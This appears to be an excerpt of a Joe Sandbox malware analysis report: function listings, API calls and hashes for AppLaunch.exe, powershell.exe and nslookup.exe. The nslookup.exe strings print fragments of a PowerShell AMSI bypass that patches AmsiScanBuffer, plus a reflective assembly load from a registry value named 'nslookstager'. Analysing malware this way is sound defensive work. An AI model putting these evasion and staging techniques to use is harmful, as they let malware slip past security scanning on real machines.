Instruction Fuzzy Hash: F6319C71A042198FC714CFA9C944AEEBBF5FF59324F05846AE445EB361C774A841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 053298A5 Relevance: 1.6, APIs: 1, Instructions: 98
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 05329997

Memory Dump Source

Source File: 00000005.00000002.511110883.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5320000_AppLaunch.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a714cfe3e81b75d1e7b3fb148821a42b7ca4dfb8febf105c60baee0bb68a60ac
Instruction ID: 7d2246fff4b390a51a36252b347c6527f859f39939dad0fa9e0ade498dd34ed2
Opcode Fuzzy Hash: a714cfe3e81b75d1e7b3fb148821a42b7ca4dfb8febf105c60baee0bb68a60ac
Instruction Fuzzy Hash: 204159B1D106198FDB10CFA9C88579EBBF1FB48324F148129E815E7380D7B49886CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0532617C Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 05329997

Memory Dump Source

Source File: 00000005.00000002.511110883.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5320000_AppLaunch.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e946ba2a2d367d858761505cc67dbe4349eed92cd5896badec9d9f56e41b0bbd
Instruction ID: 57b15e2f0859322fb72f9970d6838d2f1bce5a321ba22d8f37e3ec3b8cb82bdf
Opcode Fuzzy Hash: e946ba2a2d367d858761505cc67dbe4349eed92cd5896badec9d9f56e41b0bbd
Instruction Fuzzy Hash: 9D414AB1D046689FDB10CFA9C88479EBBF1FB48314F148129E815E7384D7B49885CF92

Uniqueness

Uniqueness Score: -1.00%

Function 09418709 Relevance: 1.6, APIs: 1, Instructions: 67
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxW.USER32(?,00000000,00000000,?,?,?,?,?,?,?,0941589D,?,?,?), ref: 0941878D

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 9397988aefe55e8c7e4f009cacedf20e36411cad95a581900c7a990e4acb19a0
Instruction ID: 602624b312e1093c764b72c7d05aa329b4ac4faee08574aa0571b5ddaa9471f5
Opcode Fuzzy Hash: 9397988aefe55e8c7e4f009cacedf20e36411cad95a581900c7a990e4acb19a0
Instruction Fuzzy Hash: EC2122B6901349DFCB14CFA9D884AEEBBB4FB88314F24852EE819A7700C3759544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 09416698 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 09416727

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 29ea6d9227dffcea35ab22d14865292f4c586e1cceaf81dd5cc6436957e4804a
Instruction ID: d68de6b6b53113e7c9a29f94fa74186ec7d484ee34c3f59d98987cfaea397f34
Opcode Fuzzy Hash: 29ea6d9227dffcea35ab22d14865292f4c586e1cceaf81dd5cc6436957e4804a
Instruction Fuzzy Hash: 3621E3B5D04248EFDB10CFAAD984ADEBBF8FB48324F15841AE954A7310C374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 09416F7C Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E28,?,?,09418360,07CC6D30,06D54CF0), ref: 094183F1

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: cb91e4c25ca9d7031c149ac01e8a257deb089b67b6a7e793f70fb6ddaad73029
Instruction ID: 625e2c398ff2ca2781ad6588b849cdf4248dc872c4e1b2fb20d4a9c6a5ef3f8c
Opcode Fuzzy Hash: cb91e4c25ca9d7031c149ac01e8a257deb089b67b6a7e793f70fb6ddaad73029
Instruction Fuzzy Hash: 3021F3719042198FDB14CF9AC844BEEBBF5EB98320F14842AE854A7340D774A945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 09418379 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E28,?,?,09418360,07CC6D30,06D54CF0), ref: 094183F1

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 4f1e0a4eea229463451d91a8ca55d7e9aa07f77973cca3d5801adda56628c22f
Instruction ID: 4859b9369f2c5842ffd0edbdee65df33a08054c9f281c34081c19edc3d0b26b4
Opcode Fuzzy Hash: 4f1e0a4eea229463451d91a8ca55d7e9aa07f77973cca3d5801adda56628c22f
Instruction Fuzzy Hash: 11211FB1D002498FDB14CFA9C844BEEBBF5BB98324F18842AE454A7350C779A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094166A0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 09416727

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d26617c2846cb384657e80667b9c3a3f25825f5d67fcf461285b7a99d2d5baa2
Instruction ID: 05e68c6744b9d996671115c74a973b0fca7a13837271599528799141c71468c6
Opcode Fuzzy Hash: d26617c2846cb384657e80667b9c3a3f25825f5d67fcf461285b7a99d2d5baa2
Instruction Fuzzy Hash: AA21E2B5D002489FDB10CFAAD984ADEBBF8FB48320F14841AE954A7310C374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 09415234 Relevance: 1.6, APIs: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?,?,?,?,?,?,?,0941589D,?,?,?), ref: 0941878D

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 758ef4810e8ee94c522938160dcf0002579109d11f7097543b7132c5f5c6cb0c
Instruction ID: 25a7064202ab54e5be06f2e0efc7b73d8ba40adf2d64593ee59e263214e0e940
Opcode Fuzzy Hash: 758ef4810e8ee94c522938160dcf0002579109d11f7097543b7132c5f5c6cb0c
Instruction Fuzzy Hash: 6E21F3B59013499FCB10CF99D884ADEBBF4FB48310F14852EE929A7700C375A545CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 094174C9 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 09417525

Memory Dump Source

Source File: 00000005.00000002.513646013.0000000009410000.00000040.00000800.00020000.00000000.sdmp, Offset: 09410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9410000_AppLaunch.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c6e77c51a22290bd4fc421595ef994e33eeea3f97c5777cee81ce035d9ff074b
Instruction ID: 30a901d4deb51eda25df26f30c48d0b248cdccc70d1ce3e490823729f8831383
Opcode Fuzzy Hash: c6e77c51a22290bd4fc421595ef994e33eeea3f97c5777cee81ce035d9ff074b
Instruction Fuzzy Hash: 561133B1D04248CFCB10CFA9D544BCEBBF4EB48324F24845AE518A7710C379A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0518D5CC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.510578628.000000000518D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0518D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_518d000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 070bc54cca91ee3166ed299bcde5d7ba453b761935dad3a054123331bfdcef76
Instruction ID: 5aa8a744532564059e122d9a1291b7132d6303627b04caa8f4e81f76763352b2
Opcode Fuzzy Hash: 070bc54cca91ee3166ed299bcde5d7ba453b761935dad3a054123331bfdcef76
Instruction Fuzzy Hash: 3421D6B1504348DFDB25EF10E9C0F36BF66FB88324F258669E9094B286C736D855CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0518D4E0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.510578628.000000000518D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0518D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_518d000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15fe55be1f8fa2f48bc284e6d1daefe30a7db70403c4e7fb284e67fc0308e36d
Instruction ID: 215fff00bfaf9b4a0d731b22e7565f838388e8cc32dcebec5520bce45aa4074d
Opcode Fuzzy Hash: 15fe55be1f8fa2f48bc284e6d1daefe30a7db70403c4e7fb284e67fc0308e36d
Instruction Fuzzy Hash: A021E2B1504340DFDB24EF10E9C0B36BB76FB88228F24856AD9054B286C336D859CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0518D4DB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.510578628.000000000518D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0518D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_518d000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6866c8b08434bdbd5fa1578fb5b946e87ca1ac65ff923eebbf5c9b940695a3d8
Instruction ID: 31695df1d252694f33c96c20ce2671d0fd0f9327f6d9b9b1de1fe3261be0cdbd
Opcode Fuzzy Hash: 6866c8b08434bdbd5fa1578fb5b946e87ca1ac65ff923eebbf5c9b940695a3d8
Instruction Fuzzy Hash: 0011AF76804380DFDB11DF10E5C4B26BF72FB88324F2886AAD8090B656C336D45ACFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0518D5C7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.510578628.000000000518D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0518D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_518d000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6866c8b08434bdbd5fa1578fb5b946e87ca1ac65ff923eebbf5c9b940695a3d8
Instruction ID: eaae6f115edfa8d849c9680f0c3db86797d534e89cbf5f92af4901a845aee54f
Opcode Fuzzy Hash: 6866c8b08434bdbd5fa1578fb5b946e87ca1ac65ff923eebbf5c9b940695a3d8
Instruction Fuzzy Hash: 4711B176804284DFCB11DF10E5C4B66BF72FB88320F2486A9D8490B656C336D45ACFA2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7048, Parent PID: 7012COMMON

Executed Functions

Function 00007FFF7E3F7505 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 416b9bac5829b8c30d5eff807934dfa51cf19f95e08f2bd4e6fb697d791f8d11
Instruction ID: a35ac36de6e45b3c2271f5f73b57a17edd4439ed813cbaf5b5dc2a6ac35c2816
Opcode Fuzzy Hash: 416b9bac5829b8c30d5eff807934dfa51cf19f95e08f2bd4e6fb697d791f8d11
Instruction Fuzzy Hash: C931E53191CB488FDB189B5C9C0AAA97BE0FB59321F00426FE049D3252DB74A855CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F74A9 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70e4a554fcb3a348da4c027e76f786abf19ee39fa5fa837bcbbf517e31b54a4
Instruction ID: f71cc729d3091c485966278728670566f5e9eb24a4f2c613e7fffa983517f231
Opcode Fuzzy Hash: f70e4a554fcb3a348da4c027e76f786abf19ee39fa5fa837bcbbf517e31b54a4
Instruction Fuzzy Hash: F331863191CB4C8FDB58DB5C98466ACBBE0FB68321F00422FE44DD3651DB75A8558BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F1CE0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4c7129270c81a089a9a3ca63ec708e3e7760163133052890c37560a465dc0f
Instruction ID: ec2ed16642756e374a92eaabef8c891f4295736bf2f4c2b1e41f676a1b5f0636
Opcode Fuzzy Hash: 7a4c7129270c81a089a9a3ca63ec708e3e7760163133052890c37560a465dc0f
Instruction Fuzzy Hash: 7531B13291C7894FC345DB28D4509AAFBE1EF99310F0406BBF089D72A7DA299945C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F806A Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a1b57cb57ed762a9224f29c4e512045ac813061443b525ab60d6337166588b2
Instruction ID: 0029cf0bcca340b40ada71da21628c123bf011147421ebb3adc720aac39535f2
Opcode Fuzzy Hash: 3a1b57cb57ed762a9224f29c4e512045ac813061443b525ab60d6337166588b2
Instruction Fuzzy Hash: A821A13190CA0C8FDB58DF9C984A7E97BE0EBA9321F00812FD449D3251DA75945ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F7575 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb2648031358d70274b17c484372195aa655b3c0cb06a414522f0edbdc459b2
Instruction ID: 17182d012f6c463f2922f6f1ada2566f8c753d992efb052b8cae6390f3a16e97
Opcode Fuzzy Hash: 3bb2648031358d70274b17c484372195aa655b3c0cb06a414522f0edbdc459b2
Instruction Fuzzy Hash: 73118F3192CB488FDB489F4CEC46698BBE0FB59725F00825FE44983252D734A8558BC7

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F1775 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb95c3d89c640460735b135889647b220a84629021a94207b6a2b2c198c111f
Instruction ID: 33619907dc9d9be357ac43a05f765df8204d6b792844c593f2466836a9b28d45
Opcode Fuzzy Hash: ffb95c3d89c640460735b135889647b220a84629021a94207b6a2b2c198c111f
Instruction Fuzzy Hash: 8B01677111CB0C4FD748EF0CE451AAAB7E0FB95364F10056EE58AC3652DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E4C4155 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304415183.00007FFF7E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e4c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf08827e639ba43590d408f61acb97ade32a58e053a6085c6bfbf7d88935f3a5
Instruction ID: b1cf6c5efe22b355146859925ae098da39f15dd9f476984450bb9507ebb3c279
Opcode Fuzzy Hash: bf08827e639ba43590d408f61acb97ade32a58e053a6085c6bfbf7d88935f3a5
Instruction Fuzzy Hash: A4F09032A1C5454FE358EB4DE1459A8B7D1EF65330F1800BBE18FC71A3DD29AC418681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F7CB6 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ab3f520e51419a9c6888ce271f66078d8cd039e3a7bebe9f568ea1d1a909fb
Instruction ID: fee5fbb09b1cb38a8734eed936957a8f23477af302095eb35ca1de46bb30ec27
Opcode Fuzzy Hash: a7ab3f520e51419a9c6888ce271f66078d8cd039e3a7bebe9f568ea1d1a909fb
Instruction Fuzzy Hash: E1F0303545878C8FCB46DF2498588A57BF0FA5521070682DBE84DCB562D7649958CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E4C4403 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304415183.00007FFF7E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e4c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b1963135efc748fac6353224ffdc329c1a7f2f047f8a4270aa0fc3eb5fe0a4
Instruction ID: 7d11a5b3e79002d2836a53f0007851cf81abf5f48c17b9a6cae206315b6e1e4f
Opcode Fuzzy Hash: 14b1963135efc748fac6353224ffdc329c1a7f2f047f8a4270aa0fc3eb5fe0a4
Instruction Fuzzy Hash: 13F03932A0C4098FE758EB0DE081AECB7E1EF84320F5100B7E24EC7563DA26EC518791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E3F4CA0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.304267128.00007FFF7E3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7fff7e3f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecb4ff1b49874d970d453b7ceec39969013571de528c9004a0961edd250be686
Instruction ID: 268590972e05388e6afa8d95ed175979c9207527cfad1f25472a8ad52bc6ffa1
Opcode Fuzzy Hash: ecb4ff1b49874d970d453b7ceec39969013571de528c9004a0961edd250be686
Instruction Fuzzy Hash: 97E0E63541494C8F8B44EF18D4099E977E0FB68305F01425BF41ED7560DB31A554CBC2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nslookup.exePID: 7056, Parent PID: 6836COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	1430
Total number of Limit Nodes:	14

Executed Functions

Function 00000001400011D0 Relevance: 126.8, APIs: 52, Strings: 20, Instructions: 753
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyW.KERNEL32 ref: 000000014000121C
VerSetConditionMask.KERNEL32 ref: 000000014000125C
VerSetConditionMask.KERNEL32 ref: 000000014000126B
VerSetConditionMask.KERNEL32 ref: 000000014000127A
VerifyVersionInfoW.KERNEL32 ref: 000000014000129C
lstrcatW.KERNEL32 ref: 00000001400012B0
lstrcatW.KERNEL32 ref: 00000001400012CB
lstrcatW.KERNEL32 ref: 00000001400012DB
lstrcatW.KERNEL32 ref: 00000001400012EB
lstrcatW.KERNEL32 ref: 00000001400012FB
lstrlenW.KERNEL32 ref: 0000000140001308
StrStrIW.SHLWAPI ref: 000000014000137C
StrStrIW.SHLWAPI ref: 00000001400013A8
lstrlenW.KERNEL32 ref: 00000001400013C2
StrStrIW.SHLWAPI ref: 000000014000142A
StrStrIW.SHLWAPI ref: 0000000140001458
lstrlenW.KERNEL32 ref: 0000000140001472
StrStrIW.SHLWAPI ref: 00000001400014DA
StrStrIW.SHLWAPI ref: 0000000140001508
lstrlenW.KERNEL32 ref: 0000000140001522
StrStrIW.SHLWAPI ref: 000000014000158A
StrStrIW.SHLWAPI ref: 00000001400015B8
lstrlenW.KERNEL32 ref: 00000001400015D2
StrStrIW.SHLWAPI ref: 000000014000163A
StrStrIW.SHLWAPI ref: 0000000140001668
lstrlenW.KERNEL32 ref: 0000000140001682
StrStrIW.SHLWAPI ref: 00000001400016EA
StrStrIW.SHLWAPI ref: 0000000140001718
lstrlenW.KERNEL32 ref: 0000000140001732
StrStrIW.SHLWAPI ref: 000000014000179A
StrStrIW.SHLWAPI ref: 00000001400017C8
lstrlenW.KERNEL32 ref: 00000001400017E2
StrStrIW.SHLWAPI ref: 000000014000184A
StrStrIW.SHLWAPI ref: 0000000140001878
lstrlenW.KERNEL32 ref: 0000000140001892
StrStrIW.SHLWAPI ref: 00000001400018FA
StrStrIW.SHLWAPI ref: 0000000140001928
lstrlenW.KERNEL32 ref: 0000000140001942
StrStrIW.SHLWAPI ref: 00000001400019AA
StrStrIW.SHLWAPI ref: 00000001400019D8
lstrlenW.KERNEL32 ref: 00000001400019F2
StrStrIW.SHLWAPI ref: 0000000140001A5A
StrStrIW.SHLWAPI ref: 0000000140001A88
lstrlenW.KERNEL32 ref: 0000000140001AA2
StrStrIW.SHLWAPI ref: 0000000140001B0A
StrStrIW.SHLWAPI ref: 0000000140001B38
lstrlenW.KERNEL32 ref: 0000000140001B52
StrStrIW.SHLWAPI ref: 0000000140001BBA
StrStrIW.SHLWAPI ref: 0000000140001BE8
lstrlenW.KERNEL32 ref: 0000000140001C02
StrStrIW.SHLWAPI ref: 0000000140001C6A
StrStrIW.SHLWAPI ref: 0000000140001C98

Strings

[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);, xrefs: 00000001400012C4
[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);, xrefs: 00000001400012B6
Kernel32Ptr, xrefs: 000000014000188B, 00000001400018F0, 000000014000191E
AmsiScanBufferPtr, xrefs: 0000000140001B4B, 0000000140001BB0, 0000000140001BDE
Get-Delegate, xrefs: 0000000140001301, 0000000140001372, 000000014000139E
TypeBuilder, xrefs: 000000014000151B, 0000000140001580, 00000001400015AE
VirtualProtectDelegate, xrefs: 00000001400017DB, 0000000140001840, 000000014000186E
VirtualProtectPtr, xrefs: 00000001400019EB, 0000000140001A50, 0000000140001A7E
NativeMethods, xrefs: 00000001400015CB, 0000000140001630, 000000014000165E
AmsiPtr, xrefs: 0000000140001A9B, 0000000140001B00, 0000000140001B2E
ParameterTypes, xrefs: 00000001400013BB, 0000000140001420, 000000014000144E
OldProtect, xrefs: 0000000140001BFB, 0000000140001C60, 0000000140001C8E
GetProcAddress, xrefs: 000000014000167B, 00000001400016E0, 000000014000170E
LoadLibraryDelegate, xrefs: 000000014000172B, 0000000140001790, 00000001400017BE
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 000000014000132E
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.I, xrefs: 00000001400012E1
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe, xrefs: 00000001400012D1
ReturnType, xrefs: 000000014000146B, 00000001400014D0, 00000001400014FE
LoadLibraryPtr, xrefs: 000000014000193B, 00000001400019A0, 00000001400019CE
function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type], xrefs: 00000001400012A6

Memory Dump Source

Source File: 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_nslookup.jbxd

Similarity

API ID: lstrlen$lstrcat$ConditionMask$InfoVerifyVersionlstrcpy
String ID: AmsiPtr$AmsiScanBufferPtr$Get-Delegate$GetProcAddress$Kernel32Ptr$LoadLibraryDelegate$LoadLibraryPtr$NativeMethods$OldProtect$ParameterTypes$ReturnType$TypeBuilder$VirtualProtectDelegate$VirtualProtectPtr$[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.I$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);$[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]
API String ID: 1817292742-2621229802
Opcode ID: 8d6989b1108e9b88beed039414c685bac2ea253e79904c4a166511710e458325
Instruction ID: 8c57862f1605238ee2c06bc4a536be4fa76e6f6fb4b7f9c0aaabd00b22a72905
Opcode Fuzzy Hash: 8d6989b1108e9b88beed039414c685bac2ea253e79904c4a166511710e458325
Instruction Fuzzy Hash: 395250B571164082FB4AEF27A8553E923A5AB8DBC0F898125FF0A5B3B5EF79C505C301

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001000 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 101
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32 ref: 0000000140001032
SizeofResource.KERNEL32 ref: 000000014000104E
LoadResource.KERNEL32 ref: 0000000140001063
LockResource.KERNEL32 ref: 0000000140001075
RegOpenKeyExW.ADVAPI32 ref: 000000014000109F
RegSetValueExW.ADVAPI32 ref: 00000001400010C9
RegOpenKeyExW.ADVAPI32 ref: 00000001400010F8
RegSetValueExW.ADVAPI32 ref: 0000000140001122

Part of subcall function 00000001400011D0: lstrcpyW.KERNEL32 ref: 000000014000121C
Part of subcall function 00000001400011D0: VerSetConditionMask.KERNEL32 ref: 000000014000125C
Part of subcall function 00000001400011D0: VerSetConditionMask.KERNEL32 ref: 000000014000126B
Part of subcall function 00000001400011D0: VerSetConditionMask.KERNEL32 ref: 000000014000127A
Part of subcall function 00000001400011D0: VerifyVersionInfoW.KERNEL32 ref: 000000014000129C
Part of subcall function 00000001400011D0: lstrcatW.KERNEL32 ref: 00000001400012B0
Part of subcall function 00000001400011D0: lstrcatW.KERNEL32 ref: 00000001400012CB
Part of subcall function 00000001400011D0: lstrcatW.KERNEL32 ref: 00000001400012DB
Part of subcall function 00000001400011D0: lstrcatW.KERNEL32 ref: 00000001400012EB
Part of subcall function 00000001400011D0: lstrcatW.KERNEL32 ref: 00000001400012FB
